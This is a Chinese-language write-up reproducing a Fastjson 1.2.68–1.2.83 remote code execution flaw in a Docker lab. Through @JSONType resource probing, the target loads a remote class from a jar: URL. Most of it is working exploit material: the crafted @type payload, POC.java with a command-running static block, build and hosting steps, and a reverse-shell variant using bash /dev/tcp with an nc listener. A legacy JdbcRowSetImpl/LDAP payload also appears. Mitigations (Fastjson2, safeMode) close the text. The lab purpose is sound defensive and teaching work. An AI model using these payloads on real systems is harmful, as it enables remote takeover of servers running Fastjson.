Fastjson 1.2.83 RCE 漏洞复现

漏洞概述:

Fastjson 是阿里巴巴开源的高性能 JSON 序列化/反序列化 Java 库,用于 Java 对象与 JSON 字符串的双向转换。它通过 ASM 字节码、缓存等优化,速度优于 Jackson、Gson,且零依赖。其 AutoType 特性通过@type字段记录类名以还原复杂类型,并提供了简洁 API 及注解支持,兼容 JDK 所有数据类型。曾是国内主流 JSON 组件,但 1.x 已停更,官方推荐使用修复安全问题的 Fastjson2。

​ 近日,银河哈希通过安全监测发现Fastjson存在 Fastjson 1.2.83 无需 Gadget 远程代码执行漏洞。该漏洞不需要任何第三方反序列化 gadget chain(commons-collections / Spring AOP / JdbcRowSetImpl 等均不需要),未启用 SafeMode 的实例全部受影响。

Fastjson 1.2.66 ~ 1.2.83 checkAutoType@JSONType 注解探测路径存在远程类加载漏洞。无需 autoTypeSupport,无需第三方依赖,safeMode 未启用(默认)即可 RCE。

条件:Spring Boot FatJar + JDK 8 + 目标能出网

漏洞影响范围:

fastjson 1.2.68 – 1.2.83

漏洞原理:

前置:

Fastjson AutoType 安全机制
Fastjson 通过 @type 字段支持在 JSON 中携带类型信息。自 1.2.25 起,fastjson 引入 ParserConfig.checkAutoType() 对 @type 指定的类进行校验:默认关闭 AutoType,基于**黑名单哈希表(denyHashCodes)**拦截已知危险类,并提供 safeMode 彻底禁用 AutoType。

传统利用链与本漏洞的区别
历史上 fastjson RCE 均依赖两个前提:① 开启 AutoType(或绕过其检查);② Classpath 中存在可用 Gadget 或可达的 JNDI 恶意服务。而本次披露的 1.2.83 新漏洞两个前提都不需要:

对比项传统利用链本漏洞(@JSONType 资源探测)
需要开启 AutoType?是(或需绕过手段)否,默认关闭即可利用
需要 Commons Collections Gadget?部分链需要** 否**
需要 Spring AOP Gadget?部分链需要
需要 JdbcRowSetImpl / TemplatesImpl?经典链需要
需要 C3P0 / XBean 等第三方库?部分链需要** 否**
需要搭建 JNDI 恶意服务器(LDAP/RMI)?** 否,仅需普通 HTTP 服务**
代码执行点Gadget 的 setter/getter/远程类的静态初始化块 <clinit>
与 CVE-2022-25845 关系CVE-2022-25845是 expectClass 绕过(≤1.2.80),1.2.83 已修复;本漏洞是 1.2.83 修复后披露的全新问题

Java ClassLoader与资源加载机制
① 类加载 vs 资源加载是两组不同的 API:

ClassLoader.loadClass("com.example.Foo") // 加载"类"
ClassLoader.getResourceAsStream("com/example/Foo.class") // 按"资源路径"读取字节流
② jar: URL 协议:Java 支持用 URL 直接定位 JAR 包内的条目,格式为:

jar:<jar文件的URL>!/<包内条目路径>
例如:jar:http://attacker:8000/probe!/POC.class
└─ 含义:下载 http://attacker:8000/probe 这个 JAR,读取其中的 POC.class
当代码执行 new URL("jar:http://...").openStream() 时,JVM 会自动发起 HTTP 请求下载整个 JAR 并解出条目——本是一个合法功能,却成为远程类加载的通道。

③ 类的加载、链接与初始化:loadClass() 只完成"加载",不执行静态代码块;而"初始化"(首次实例化、或 Class.forName(name, true, loader) 等主动使用)会触发类的 ,即静态代码块 static { ... } 的执行。本漏洞的代码执行点正是远程类的 ——不是 setter,不是任何 Gadget。

@JSONType 注解与 fastjson 的字节码预检
@JSONType 是 fastjson 提供的注解,用于配置类的序列化/反序列化行为:

import com.alibaba.fastjson.annotation.JSONType;

@JSONType
public class Example { }
为了在 AutoType 关闭时仍支持"开发者显式用 @JSONType 标记的可信类",fastjson 1.2.68~1.2.83 在 checkAutoType() 中加入了字节码预检逻辑:在部分危险类型检查和目标类型兼容性检查之前,先读取目标类的字节码,检查其中是否存在 @JSONType 注解:

String resource = typeName.replace('.', '/') + ".class";
InputStream inputStream = classLoader.getResourceAsStream(resource);
// 随后用 ASM 字节码分析检查类上是否存在 @JSONType

漏洞原理
问题:被检查的类资源,在特定 ClassLoader 环境下可能来自攻击者控制的远程 URL,而不是可信的本地 ClassPath。

typeName 变换过程(攻击者精心构造 @type 值):

攻击者提交的 typeName: jar:http:..attacker:8000.probe!.POC
│ fastjson 执行 typeName.replace('.', '/')
▼
变换结果: jar:http://attacker:8000/probe!/POC
│ 拼接 ".class"
▼
最终资源名: jar:http://attacker:8000/probe!/POC.class
│ ClassLoader.getResourceAsStream()
▼
目标服务器实际行为: 下载 http://attacker:8000/probe (攻击者的 JAR)
并尝试读取其中的 POC.class

完整漏洞调用流程:

攻击者提交恶意 JSON
│
▼
Fastjson 读取 @type
│
▼
ParserConfig.checkAutoType()
│
▼
typeName.replace('.', '/')
│
▼
形成 jar:http: 资源名称
│
▼
ClassLoader.getResourceAsStream()
│
▼
目标访问攻击端 HTTP 服务 ──────► 下载攻击者构造的 JAR
│
▼
Fastjson 检查远程类的 @JSONType(字节码分析)
│
▼
ClassLoader 定义远程类(被用于安全判断的 Class 文件本身由攻击者提供!)
│
▼
执行远程类的 <clinit> ─────────► ★ 远程代码执行(静态代码块)
│
▼
后续尝试转换为 DTO ────────────► ClassCastException / type not match
│
▼
⚠ HTTP 报错 ≠ 代码未执行!

链接:https://www.yijinglab.com/exp-detail.shtml?ec=38593963-87a1-4524-a613-62980b2c380a
来源:蚁景网安实验室

漏洞复现:

采用蚁景实验室在线漏洞复现环境;

链接:https://www.yijinglab.com/exp-detail.shtml?ec=38593963-87a1-4524-a613-62980b2c380a

构建并启动

cd ~/fastjson-lab
sudo docker compose up -d --build
//实验环境中执行如下命令启动即可:
sudo docker compose up -d
sudo docker compose ps

image-20260724001653912

先在同一靶机上验证传统 Payload 被默认配置拦截,再验证新 Payload 打穿——直观证明"不需要开启 AutoType"。

验证靶机正常 & AutoType 处于默认关闭状态

# ① 正常业务 JSON(无 @type),应正常解析为 DTO
curl -X POST http://127.0.0.1:8080/api/user \
-H 'Content-Type: application/json' \
-d '{"name":"zhangsan","age":18}'

# ② 查看启动日志,确认 autoTypeSupport = false
sudo docker logs fastjson-victim

image-20260724003201521

传统 Gadget Payload 测试

curl -X POST http://127.0.0.1:8080/api/user \
-H 'Content-Type: application/json' \
-d '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker:1389/a","autoCommit":true}'

预期返回:解析异常: autoType is not support. com.sun.rowset.JdbcRowSetImpl —— AutoType 默认关闭时,传统链失效。

image-20260724003335360

制作攻击端 JAR

(含 @JSONType 的恶意类)

在攻击机容器(终端 A)中操作:

sudo docker exec -it fastjson-attacker bash
mkdir -p /tmp/poc && cd /tmp/poc

cat > POC.java << 'EOF'
import com.alibaba.fastjson.annotation.JSONType;

@JSONType
public class POC {
static {
// 代码执行点:类的静态初始化块 <clinit>
// 实验中仅执行无害命令:创建标记文件
try {
System.out.println("[POC] 远程类静态代码块已执行!");
Runtime.getRuntime().exec("touch /tmp/pwned");
} catch (Throwable t) { }
}
}
EOF

image-20260724003436966

# 编译(@JSONType 由 fastjson 提供,使用任务二下载的 jar 作为编译类路径)
javac -cp /opt/fastjson-1.2.83.jar POC.java

# 打包:文件名必须为 probe(对应 URL 路径),POC.class 位于 JAR 根目录(对应 "!/POC.class")
jar cf probe POC.class
jar tf probe # 应列出 META-INF/MANIFEST.MF 与 POC.class

image-20260724004745523

启动攻击端 HTTP 服务
cd /tmp/poc
python3 -m http.server 8000
# 保持该终端运行!此窗口同时是后续的证据来源(访问日志)

image-20260724004756443

发送恶意 Payload
在宿主机(终端 B)发送:

# 发送前先确保靶机上无残留标记
sudo docker exec fastjson-victim rm -f /tmp/pwned

curl -X POST http://127.0.0.1:8080/api/user \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:http:..attacker:8000.probe!.POC"}'

三个易错点:
① 地址必须写主机名 attacker,不能写 IP 172.30.0.20——因为 fastjson 会执行 replace('.', '/'),IP 中的点会被替换成斜杠导致 URL 损坏(172/30/0/20)!这正是披露分析中示例使用主机名的原因;
② 注意 ".."(产生 //)与 "!."(产生 !/)的构造;
③ 端口与路径需与攻击机 HTTP 服务及 JAR 文件名一一对应。

预期接口返回(注意:是异常!):

image-20260724004909925

image-20260724004919516

验证
① 标记文件是否已创建:

sudo docker exec fastjson-victim ls -l /tmp/pwned

image-20260724004942114

② 靶机日志(sudo docker logs fastjson-victim),应依次出现:

[*] autoTypeSupport = false ← AutoType 是关闭的!
[*] 收到请求体: {"@type":"jar:http:..attacker:8000.probe!.POC"}
[!] ClassLoader 资源探测命中远程 URL: jar:http://attacker:8000/probe!/POC.class
[!] ClassLoader 从远程加载类: jar:http://attacker:8000/probe!/POC.class
[POC] 远程类静态代码块已执行! ← <clinit> 执行

image-20260724005016878

攻击机 HTTP 访问日志(终端 A),应出现靶机发起的下载请求:

172.30.0.10 - - [...] "GET /probe HTTP/1.1" 200 -

image-20260724005048331

💡 实验结论:在 AutoType 默认关闭、无任何传统 Gadget、无 JNDI 服务的前提下,仅通过一个普通 HTTP 服务即完成 RCE;接口虽然返回"解析异常",代码却在异常发生之前已经执行完毕。

反弹 Shell

在攻击机中修改 POC 的静态代码块为反弹 Shell 命令(Java 字符串不受 fastjson replace 影响,可用 IP):

static {
try {
Runtime.getRuntime().exec(new String[]{"bash", "-c",
"bash -i >& /dev/tcp/172.30.0.20/4444 0>&1"});
} catch (Throwable t) { }
}

cd /tmp/poc/
rm -rf ./*
cat > POC.java << 'EOF'
import com.alibaba.fastjson.annotation.JSONType;

@JSONType
public class POC {
static {
try {
Runtime.getRuntime().exec(new String[]{"bash", "-c",
"bash -i >& /dev/tcp/172.30.0.20/4444 0>&1"});
} catch (Throwable t) { }
}
}
EOF

image-20260724005200257

步骤 2:重新编译打包,并在宿主机上重启靶机容器(关键!远程类一旦加载会被 JVM 与 fastjson 双重缓存,且类只初始化一次,必须重启才能再次触发):

cd /tmp/poc
# 修改 POC.java 后:
javac -cp /opt/fastjson-1.2.83.jar POC.java
jar cf probe POC.class

image-20260724005222881

启动HTTP Server 保持运行

python3 -m http.server 8000

然后在宿主机重启受害者容器:

sudo docker restart fastjson-victim

新开终端(终端 C)进入攻击机,执行监听:

sudo docker exec -it fastjson-attacker bash
nc -lvnp 4444

image-20260724005256478

步骤 4:重放 3.4 的 Payload。终端 C 获得 Shell 后验证控制的是靶机:

id
hostname # 应为 victim 容器

image-20260724005326424

image-20260724005337193

解决方案

升级至 Fastjson2

临时解决方案

启用 fastjson 安全模式(safeMode)。

开启 safeMode
第一种方法:在不修改代码的情况下,使用 JVM 参数:-Dfastjson.parser.safeMode=true。

修改victim/Dockfile文件为如下内容:

image-20260724005413402

重新生成镜像,重启容器:

sudo docker compose up -d --build victim
sudo docker restart fastjson-victim

验证:

image-20260724005438833

第二种方法:修改业务代码。

修改 VulnServer.java:

victim/src/main/java/org/example/vuln/VulnServer.java

ParserConfig.getGlobalInstance().setSafeMode(true);

image-20260724005505580

修改后重新生成镜像:

sudo docker compose up -d --build victim
sudo docker restart fastjson-victim # 确保新配置生效

参考文献

https://x.com/k_firsov/status/2078872293745570032

Fastjson 官方仓库及安全公告:https://github.com/alibaba/fastjsonhttps://github.com/alibaba/fastjson2
披露分析:https://github.com/alibaba/fastjson2/wiki/Security-Advisory:-Remote-Code-Execution-in-fastjson-1.2.68%E2%80%931.2.83